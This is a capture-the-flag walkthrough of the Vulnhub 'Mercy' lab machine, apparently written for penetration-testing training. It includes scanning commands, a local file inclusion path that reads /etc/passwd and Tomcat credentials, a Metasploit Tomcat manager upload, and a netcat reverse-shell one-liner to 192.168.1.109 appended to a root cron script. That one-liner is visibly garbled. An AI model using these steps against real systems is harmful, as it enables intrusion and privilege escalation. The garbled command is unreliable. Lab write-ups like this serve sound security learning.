Mercy: Vulnhub Walkthrough

MERCY is a machine dedicated to Offensive Security for the PWK course. MERCY is a name-play, and has nothing to do with the contents of the vulnerable machine. You can download the Mercy vulnerable lab from here. The challenge is to get root on the Targeted Virtual Machine and read the proof.txt within that directory.

Flag: Proof.txt

Tables of Contents:

·         IP discovery and Port Scanning.

·         Browsing the IP on port 8080.

·         Decoding Base64 String.

·         Using Enum4linux tool for enumerating information of the Target Machine.

·         Getting Login Credentials to connect via smbclient.

·         Port Knocking.

·         Discovering accessible directory’s on victim’s machine.

·         Browsing through discovered directory’s.

·         Searching exploit via searchsploit.

·         Finding Login Credentials for Tomcat Server.

·         Logging into Tomcat Server using Metasploit.

·         Exploiting Misconfiguration in the Target Machine.

·         Using Msfvenom for creating payload one-liner.

·         Getting root access.

·         Reading the flag.

Let’s Begin with the Walkthrough!!

Let’s start off with scanning the network to find our targets IP.
netdiscover

We found our target –> 192.168.1.105
Our next motive is to scan the target IP with nmap.
nmap -A 192.168.1.105

The NMAP output shows various open ports: 22(ssh), 53(domain), 80(http), 110(pop3), 139(netbios-ssn), 143(imap), 445(netbios-ssn), 993(ssl/imaps), 995(ssl/pop3), 8080(http). Since port 80 is filtered we cannot directly browse the Target IP in the Browser. Here we got a clue as a entry /tryharder/tryharder in robot.txt as it might come in handy later on. Therefore we notice that port 8080 is open for Apache Tomcat/ Coyote JSP Engine 1.1. So we browse the Target IP on port 8080 on the browser.

Now browsing through the discovered entry /tryharder/tryharder on port 8080 gave us a base64 encoded string. Clearly we need to decode it to move ahead.

On decoding the base64 string we found some Login Credentials which can be of great use later on.

Since port 445 is open on the Target Machine, We thought of enumerating it using enum4linux tool.
enum4linux -a http://192.168.1.105
It gave us few shared folders which can be further used to connect via smbclient.

Now connecting via smbclient using credentials “qiu:password”.
smbclient  \\\\192.168.1.105\\qiu -U qiu
Further exploring through directories we have downloaded the config file on our Linux Desktop.

Reading the contents of the config file gave us a sequence of ports to knock which will result in opening the http port 80.

Knocking the sequence of ports using the following command:

knock 192.168.1.105 159 2739 4

Now from nmap scan we confirmed that http port 80 got open after knocking.

Since port 80 got open, we browsed the Target IP on the browser which displayed the message as you can see in the image, which came out to be useless to further proceed towards our goal.

Now we thought of enumerating for accessible directories on the Target Machine.

dirb http://192.168.1.105

While browsing robots.txt file in the browser gave us two disallowed hidden directories as shown in the image.

Bowsing through the directory 192.168.1.105/nomercy in the browser opened a vulnerability scanner webpage whose banner RIPS 0.53 left us curious to search more about it.

Then while we search RIPS 0.53 over searchsploit, it came out to be an Multiple Local File Inclusions Exploit. Next we copied the exploit over our Linux Desktop and read its copied text file as you can see in the image. Here we also copied the one-liner /windows/code.php?file=../../../../../../etc/passwd.  

We used LFI to take a look at the content of the passwd file as it was shown in the POC.

192.168.1.105/nomercy/windows/code.php?file=../../../../../../etc/passwd

Since we know there is a tomcat service running on the target system we can take a look the tomcat-users.xml file using LFI that will provide us with the username and password, browsing it on browser gave us two Login Credentials for Tomcat Server as shown on the image.

Logging into Tomcat server using Metasploit’s Tomcat Manager using the following credentials “thisisasuperduperlonguser:heartbreakisinevitable”

msf > use exploit/multi/http/tomcat_mgr_upload

msf exploit(multi/http/tomcat_mgr_upload) > set rhost 192.168.1.105

msf exploit(multi/http/tomcat_mgr_upload) > set rport 8080

msf exploit(multi/http/tomcat_mgr_upload) > set httpusername thisisasuperduperlonguser

msf exploit(multi/http/tomcat_mgr_upload) > set httppassword heartbreakisinevitable

msf exploit(multi/http/tomcat_mgr_upload) > exploit

Now using a one-liner to spawn a tty shell:

python -c 'import pty; pty.spawn("/bin/sh")'

Further logging in as user fluffy.

su fluffy

Password: freakishfluffybunny

Exploring through various directories, we read a file timeclock which gave useful information that a crontab service probably be running.

Moving on!! We created a one-liner payload using Msfvenom:

msfvenom –p cmd/unix/reverse_netcat lhost=192.168.1.109 lport=8888 R

After that append the one-liner payload in the timeclock file.

echo “mkfifo /tmpmzlat; nc 192.168.1.109 8888 0

/tmp/zlat 2>&1; rm /tmp/zlat” >>timclock

Since the one-liner got executed with the timeclock file. Therefore we got a reverse shell on our netcat listener. To spawn the shell we have used python -c 'import pty; pty.spawn("/bin/sh")'. Booyeah!! We have got the root access and found proof.txt. We take a look at the content of the file and greeted with a congratulatory message.